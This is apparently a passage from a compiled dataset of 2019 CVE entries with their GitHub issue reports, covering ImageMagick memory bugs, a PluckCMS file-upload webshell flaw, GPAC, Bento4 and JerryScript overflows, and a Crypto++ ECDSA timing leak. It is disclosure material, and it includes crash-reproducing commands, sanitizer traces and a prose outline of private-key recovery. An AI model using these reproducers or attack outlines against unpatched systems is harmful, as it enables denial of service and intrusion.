MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12112a1ac4 in AcquirePixelCache MagickCore/cache.c:229:25 #4 0x7f12112a275d in ClonePixelCache MagickCore/cache.c:515:28 #5 0x7f12112bcf3b in GetImagePixelCache MagickCore/cache.c:1724:29 #6 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #7 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #8 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #9 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #10 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #11 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f121156ea36 in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0x7f12112a1cb2 in AcquirePixelCacheNexus MagickCore/cache.c:267:29 #3 0x7f12112a175d in AcquirePixelCache MagickCore/cache.c:212:26 #4 0x7f12112a275d in ClonePixelCache MagickCore/cache.c:515:28 #5 0x7f12112bcf3b in GetImagePixelCache MagickCore/cache.c:1724:29 #6 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #7 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #8 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #9 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #10 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #11 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12115213df in CloneImage MagickCore/image.c:871:26 #4 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #5 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #6 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #7 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #8 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #9 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #10 0x526f95 in MagickMain utilities/magick.c:149:10 #11 0x5268e1 in main utilities/magick.c:180:10 #12 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f1211280a9e in GetBlobInfo MagickCore/blob.c:1745:24 #4 0x7f121128065a in CloneBlobInfo MagickCore/blob.c:555:3 #5 0x7f1211521248 in CloneImage MagickCore/image.c:867:25 #6 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #7 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #8 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #9 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #10 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #11 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #12 0x526f95 in MagickMain utilities/magick.c:149:10 #13 0x5268e1 in main utilities/magick.c:180:10 #14 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12116cb129 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f1211272c4a in CloneImageArtifacts MagickCore/artifact.c:118:24 #6 0x7f12115209ac in CloneImage MagickCore/image.c:840:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12116cb129 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f12115ff9f3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f1211520999 in CloneImage MagickCore/image.c:839:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12116cb129 in NewSplayTree MagickCore/splay-tree.c:1159:25 #4 0x7f12116caac4 in CloneSplayTree MagickCore/splay-tree.c:360:14 #5 0x7f12115a03d0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f1211528a58 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4e6200 in posix_memalign (install/bin/magick+0x4e6200) #1 0x7f12116b4521 in AcquireSemaphoreMemory MagickCore/semaphore.c:154:7 #2 0x7f12116b3d63 in AcquireSemaphoreInfo MagickCore/semaphore.c:200:36 #3 0x7f12112a1b53 in AcquirePixelCache MagickCore/cache.c:231:30 #4 0x7f12112a275d in ClonePixelCache MagickCore/cache.c:515:28 #5 0x7f12112bcf3b in GetImagePixelCache MagickCore/cache.c:1724:29 #6 0x7f12112c35b9 in SyncImagePixelCache MagickCore/cache.c:5499:28 #7 0x7f12115222c1 in SetImageStorageClass MagickCore/image.c:2627:10 #8 0x7f12112ce980 in CombineImages MagickCore/channel.c:523:7 #9 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #10 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #11 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #12 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #13 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #14 0x526f95 in MagickMain utilities/magick.c:149:10 #15 0x5268e1 in main utilities/magick.c:180:10 #16 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 46 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12117027c3 in ConstantString MagickCore/string.c:713:26 #4 0x7f12116cacc6 in CloneSplayTree MagickCore/splay-tree.c:373:7 #5 0x7f12115a03d0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f1211528a58 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 38 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12117027c3 in ConstantString MagickCore/string.c:713:26 #4 0x7f12116cac41 in CloneSplayTree MagickCore/splay-tree.c:372:43 #5 0x7f12115ff9f3 in CloneImageProperties MagickCore/property.c:196:25 #6 0x7f1211520999 in CloneImage MagickCore/image.c:839:10 #7 0x7f12112ce94b in CombineImages MagickCore/channel.c:520:17 #8 0x7f1210cfc574 in CLIListOperatorImages MagickWand/operation.c:3848:22 #9 0x7f1210d0839e in CLIOption MagickWand/operation.c:5282:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 Indirect leak of 29 byte(s) in 4 object(s) allocated from: #0 0x4e5397 in malloc (install/bin/magick+0x4e5397) #1 0x7f121156ec16 in AcquireMagickMemory MagickCore/memory.c:478:10 #2 0x7f121156ec7f in AcquireQuantumMemory MagickCore/memory.c:551:10 #3 0x7f12117027c3 in ConstantString MagickCore/string.c:713:26 #4 0x7f12116cac41 in CloneSplayTree MagickCore/splay-tree.c:372:43 #5 0x7f12115a03d0 in CloneImageOptions MagickCore/option.c:2144:27 #6 0x7f1211528a58 in CloneImageInfo MagickCore/image.c:1010:10 #7 0x7f121151e0b8 in SyncImageSettings MagickCore/image.c:4242:21 #8 0x7f12115358a6 in SyncImagesSettings MagickCore/image.c:4000:12 #9 0x7f1210d081a3 in CLIOption MagickWand/operation.c:5249:14 #10 0x7f1210b49a99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #11 0x7f1210b4ad0a in MagickImageCommand MagickWand/magick-cli.c:796:5 #12 0x7f1210b94ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14 #13 0x526f95 in MagickMain utilities/magick.c:149:10 #14 0x5268e1 in main utilities/magick.c:180:10 #15 0x7f120b60bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: 3746948 byte(s) leaked in 43 allocation(s). ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick 7.0.8-52 Q16 x86_64 2019-07-02 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 ./configure --disable-openmp --without-png and I also tested on Ubuntu 16.04 with clang-3.8 and gcc-5. <!-- Thanks for reporting the issue to ImageMagick! -->

memory leaks is detected at AcquireMagickMemory

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1623/comments

2019-07-01T18:19:43Z

2019-07-08T10:31:06Z

https://github.com/ImageMagick/ImageMagick/issues/1623

CVE-2019-13391

2019-07-07T22:15:10.503

In ImageMagick 7.0.8-50 Q16, ComplexImages in MagickCore/fourier.c has a heap-based buffer over-read because of incorrect calls to GetCacheViewVirtualPixels.

https://github.com/ImageMagick/ImageMagick/issues/1588

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There is a heap buffer overflow in MagickCore/fourier.c:314:19 in .omp_outlined._debug__ Heap buffer overflow sometimes occur. To trigger this bug, please run the command for several times. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run cmd: `magick "-seed" "0" "-black-point-compensation" "-fuzz" "238" "(" "magick:logo" "-normalize" "-cycle" "615" ")" "(" "magick:rose" "-gaussian-blur" "4" ")" "(" "magick:granite" "-convolve" "207,117,126,202,52,59,196,21,46,216,32,49,172,14,116,115,203,20,219,21,194,58,155,117,148,208,229,218,151,151,171,239,212,207,77,212,81,32,23,137,63,164,67,85,47,13,85,96,85,86,244,168,218,41,98,108,208,221,77,5,45,117,102,5,89,150,47,36,214,0,20,255,14,83,77,191,109,40,32,245,112" ")" "-strokewidth" "58" "-complex" "subtract" "-layers" "compare-overlay" "" ` ASAN log about heap buffer over-flow. ``` ==18953==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000020200 at pc 0x0000014f4b4e bp 0x7fa64464bc30 sp 0x7fa64464bc28 READ of size 4 at 0x619000020200 thread T2 #0 0x14f4b4d in .omp_outlined._debug__ MagickCore/fourier.c:314:19 #1 0x14f56cc in .omp_outlined. MagickCore/fourier.c:231:3 #2 0x7fa64f983452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #3 0x7fa64f93d1b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) #4 0x7fa64f93bb20 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x34b20) #5 0x7fa64f97b417 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x74417) #6 0x7fa651fb76da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #7 0x7fa64f41f88e in clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) 0x619000020200 is located 0 bytes to the right of 896-byte region [0x61900001fe80,0x619000020200) allocated by thread T2 here: #0 0x4f09b0 in __interceptor_posix_memalign (install/bin/magick+0x4f09b0) #1 0x5822fa in AcquireAlignedMemory MagickCore/memory.c:265:7 #2 0xb24539 in AcquireCacheNexusPixels MagickCore/cache.c:4968:37 #3 0xb0d587 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12 #4 0xb04b7c in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10 #5 0xb28621 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10 #6 0x14f2984 in .omp_outlined._debug__ MagickCore/fourier.c:249:8 #7 0x14f56cc in .omp_outlined. MagickCore/fourier.c:231:3 #8 0x7fa64f983452 in __kmp_invoke_microtask (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x7c452) #9 0x7fa64f93d1b6 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x361b6) Thread T2 created by T0 here: #0 0x43fcd0 in pthread_create (install/bin/magick+0x43fcd0) #1 0x7fa64f979110 (/usr/lib/x86_64-linux-gnu/libomp.so.5+0x72110) SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/fourier.c:314:19 in .omp_outlined._debug__ ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-10 - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 <!-- Thanks for reporting the issue to ImageMagick! -->

heap-buffer-overflow in MagickCore/fourier.c

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1588/comments

2019-06-11T03:25:05Z

2019-07-08T01:55:44Z

https://github.com/ImageMagick/ImageMagick/issues/1588

CVE-2019-13454

2019-07-09T17:15:11.850

ImageMagick 7.0.8-54 Q16 allows Division by Zero in RemoveDuplicateLayers in MagickCore/layer.c.

https://github.com/ImageMagick/ImageMagick/issues/1629

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> There's a division by zero at MagickCore/layer.c:1616:30 ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> run following cmd: `magick "-seed" "0" "-delay" "34<" "(" "magick:rose" "+repage" ")" "(" "magick:rose" "+repage" ")" "-encoding" "Symbol" "-layers" "remove-dups" "-quiet" "tmp"` This is triggered at `time = curr->delay*1000/curr->ticks_per_second;` due to curr->ticks_per_second. ``` 1605 for (; (next=GetNextImageInList(curr)) != (Image *) NULL; curr=next) 1606 { 1607 if ( curr->columns != next->columns || curr->rows != next->rows 1608 || curr->page.x != next->page.x || curr->page.y != next->page.y ) 1609 continue; 1610 bounds=CompareImagesBounds(curr,next,CompareAnyLayer,exception); 1611 if ( bounds.x < 0 ) { 1612 /* 1613 the two images are the same, merge time delays and delete one. 1614 */ 1615 size_t time; 1616 time = curr->delay*1000/curr->ticks_per_second; 1617 time += next->delay*1000/next->ticks_per_second; 1618 next->ticks_per_second = 100L; 1619 next->delay = time*curr->ticks_per_second/1000; 1620 next->iterations = curr->iterations; 1621 *images = curr; 1622 (void) DeleteImageFromList(images); 1623 } 1624 } ``` Here's USAN log. ``` MagickCore/layer.c:1616:30: runtime error: division by zero SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior MagickCore/layer.c:1616:30 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==28916==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7fe11baee9e7 bp 0x7ffc60e12250 sp 0x7ffc60e11ec0 T0) #0 0x7fe11baee9e6 in RemoveDuplicateLayers MagickCore/layer.c:1616:30 #1 0x7fe11a2600a8 in CLIListOperatorImages MagickWand/operation.c:4266:15 #2 0x7fe11a273102 in CLIOption MagickWand/operation.c:5308:14 #3 0x7fe119c6aef4 in ProcessCommandOptions MagickWand/magick-cli.c:477:7 #4 0x7fe119c6dc54 in MagickImageCommand MagickWand/magick-cli.c:796:5 #5 0x7fe119d1400e in MagickCommandGenesis MagickWand/mogrify.c:185:14 #6 0x527976 in MagickMain utilities/magick.c:149:10 #7 0x5268e1 in main utilities/magick.c:180:10 #8 0x7fe113884b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #9 0x41b069 in _start (install/bin/magick+0x41b069) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: UNKNOWN SIGNAL MagickCore/layer.c:1616:30 in RemoveDuplicateLayers ==28916==ABORTING ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: Version: ImageMagick 7.0.8-54 Q16 x86_64 2019-07-07 https://imagemagick.org - Environment (Operating system, version and so on): Description: Ubuntu 18.04.1 LTS Release: 18.04 Codename: bionic - Additional information: CC=clang-7 CXX=clang++-7 CFLAGS="-fsanitize=address,undefined -g" CXXFLAGS="-fsanitize=address,undefined -g" ./configure --disable-openmp --without-png <!-- Thanks for reporting the issue to ImageMagick! -->

Division by Zero at MagickCore/layer.c:1616

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1629/comments

2019-07-07T02:34:55Z

2019-08-18T16:37:24Z

https://github.com/ImageMagick/ImageMagick/issues/1629

CVE-2019-1010062

2019-07-16T13:15:11.410

PluckCMS 4.7.4 and earlier is affected by: CWE-434 Unrestricted Upload of File with Dangerous Type. The impact is: get webshell. The component is: data/inc/images.php line36. The attack vector is: modify the MIME TYPE on HTTP request to upload a php file. The fixed version is: after commit 09f0ab871bf633973cfd9fc4fe59d4a912397cf8.

https://github.com/pluck-cms/pluck/issues/44

github.com

Hi! I found a Unrestricted File Upload Vulnerability on PluckCMS 4.7.4. I found i can bypass the filetype detection on background site by modifying the MIME type on HTTP request. And with uploading a PHP File, i can get a webshell.  Please fix it ASAP and contact me to get more details(i did not find you email) : My email:codeklaus@gmail.com

[Vulnerability] Unrestricted File Upload in background site

https://api.github.com/repos/pluck-cms/pluck/issues/44/comments

2017-04-11T17:52:00Z

2018-09-03T08:40:42Z

https://github.com/pluck-cms/pluck/issues/44

CVE-2019-13618

2019-07-16T17:15:12.830

In GPAC before 0.8.0, isomedia/isom_read.c in libgpac.a has a heap-based buffer over-read, as demonstrated by a crash in gf_m2ts_sync in media_tools/mpegts.c.

https://github.com/gpac/gpac/issues/1250

github.com

hello，I found a heap buffer overflow bug in gpac. [bug details](http://blog.topsec.com.cn/gpac-heap-buffer-overflow-in-gf_m2ts_sync/) [heap-over-flow.zip](https://github.com/gpac/gpac/files/3251236/heap-over-flow.zip)

heap buffer overflow in gf_m2ts_sync

https://api.github.com/repos/gpac/gpac/issues/1250/comments

2019-06-04T08:09:07Z

2019-06-24T15:28:33Z

https://github.com/gpac/gpac/issues/1250

CVE-2019-13959

2019-07-18T19:15:11.520

In Bento4 1.5.1-627, AP4_DataBuffer::SetDataSize does not handle reallocation failures, leading to a memory copy into a NULL pointer. This is different from CVE-2018-20186.

https://github.com/axiomatic-systems/Bento4/issues/394

github.com

Hi, recently when I experience the new version of bento4. I find an NPD bug in program "mp42aac". `./mp42acc inputs` The bug logic is that when the data size is not large enough and apply reallocation, the reallocation does not check whether the new buffer is successfully allocated. This is the execution trace. 4c7a.png"> <img width="1369" alt="image" src="https://user-images.githubusercontent.com/7632714/58330114-c4810880-7e68-11e9-82e1-cc33671c63dc.png"> In SetDataSize, the function realloc buffer when new size is larger than the current one. This means the two values of two size variable are not zero.  In reallocation, there is no null pointer check for the return value of the allocation and leads to the crash when apply AP4_CopyMemory which is an alias of memcpy function.  I have uploaded the report and related bug trace to help understand this problem. [report_input.zip](https://github.com/axiomatic-systems/Bento4/files/3176121/report_input.zip)

Null Pointer Dereference(npd) Bug

https://api.github.com/repos/axiomatic-systems/Bento4/issues/394/comments

2019-05-14T06:23:56Z

2019-08-25T16:30:37Z

https://github.com/axiomatic-systems/Bento4/issues/394

CVE-2019-1010176

2019-07-25T14:15:11.623

JerryScript commit 4e58ccf68070671e1fff5cd6673f0c1d5b80b166 is affected by: Buffer Overflow. The impact is: denial of service and possibly arbitrary code execution. The component is: function lit_char_to_utf8_bytes (jerry-core/lit/lit-char-helpers.c:377). The attack vector is: executing crafted javascript code. The fixed version is: after commit 505dace719aebb3308a3af223cfaa985159efae0.

https://github.com/jerryscript-project/jerryscript/issues/2476

github.com

Version: 4e58ccf68070671e1fff5cd6673f0c1d5b80b166 Build command: `python3 ./tools/build.py --clean --jerry-libc=off --system-allocator=on --profile=es2015-subset --compile-flag=-m32 --compile-flag=-fsanitize=address --strip=OFF` Testcase: `cat testcase | ./jerry` Where testcase is as following: ``` 0 /ð/ ``` (`300a 2ff0 2f0a` in hex). Stack trace: ``` ==2342==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf580073b at pc 0x080f1a7a bp 0xffbb2b48 sp 0xffbb2b38 WRITE of size 1 at 0xf580073b thread T0 #0 0x80f1a79 in lit_char_to_utf8_bytes jerry-core/lit/lit-char-helpers.c:377 #1 0x811f6d8 in ecma_new_ecma_string_from_utf8_converted_to_cesu8 jerry-core/ecma/base/ecma-helpers-string.c:376 #2 0x811f6d8 in lexer_construct_regexp_object jerry-core/parser/js/js-lexer.c:2175 #3 0x817e286 in parser_parse_unary_expression jerry-core/parser/js/js-parser-expr.c:1116 #4 0x817e286 in parser_parse_expression jerry-core/parser/js/js-parser-expr.c:1858 #5 0x8193a71 in parser_parse_statements jerry-core/parser/js/js-parser-statm.c:2030 #6 0x80effc7 in parser_parse_source.lto_priv.160 jerry-core/parser/js/js-parser.c:2368 #7 0x804d1ef in parser_parse_script jerry-core/parser/js/js-parser.c:2881 #8 0x804d1ef in ecma_op_eval_chars_bufferjerry-core/ecma/operations/ecma-eval.c:101 #9 0x804d1ef in jerry_eval jerry-core/api/jerry.c:551 #10 0x804d1ef in main jerry-main/main-unix.c:814 #11 0xf702e636 in __libc_start_main (/lib32/libc.so.6+0x18636) #12 0x804f1eb (build/bin/jerry+0x804f1eb) ```

Heap buffer overflow in lit_char_to_utf8_bytes

https://api.github.com/repos/jerryscript-project/jerryscript/issues/2476/comments

2018-08-16T15:19:04Z

2018-08-21T04:53:56Z

https://github.com/jerryscript-project/jerryscript/issues/2476

CVE-2019-14318

2019-07-30T17:15:12.687

Crypto++ 8.3.0 and earlier contains a timing side channel in ECDSA signature generation. This allows a local or remote attacker, able to measure the duration of hundreds to thousands of signing operations, to compute the private key used. The issue occurs because scalar multiplication in ecp.cpp (prime field curves, small leakage) and algebra.cpp (binary field curves, large leakage) is not constant time and leaks the bit length of the scalar among other information.

https://github.com/weidai11/cryptopp/issues/869

github.com

From a private email by Ján Jančár: > Message-ID: <93874bd8-653e-33e9-c429-93712c3f30ba@mail.muni.cz> > Subject: Vulnerability disclosure > ... > > During our research into security of elliptic curve cryptography implementations on smart-cards and in software libraries [1], we have discovered timing leakage in the ECDSA signature generation in the Crypto++ library. > > *Vulnerability description* > > When performing ECDSA over binary field curves, Crypto++ leaks the bit-length of the nonce used in scalar multiplication. It also leaks some other currently unknown information, see the attached plots, specifically the 'msb_hist.png' plot. > > This leakage can be abused if an attacker is able to measure the duration of signing of a few hundreds or thousands of known messages. The attacker can then use a lattice attack based on the Hidden Number Problem [2] to reconstruct the private key used, as demonstrated in [3] (even remotely!). > > See the attached plots and heatmaps for details of the leakage on the standard sect233r1 curve. based on the level of noise present in the attacker's measurements (the lattice attack is very sensitive to noise) and willingness to trade-off computation time, the attack would require from 500 to 10k signatures. > > The private key recovery itself, assuming a noise free set of just enough signatures, would then take a few minutes. The leakage is somewhat present in ECDSA over prime field curves as well, but much smaller, I do not 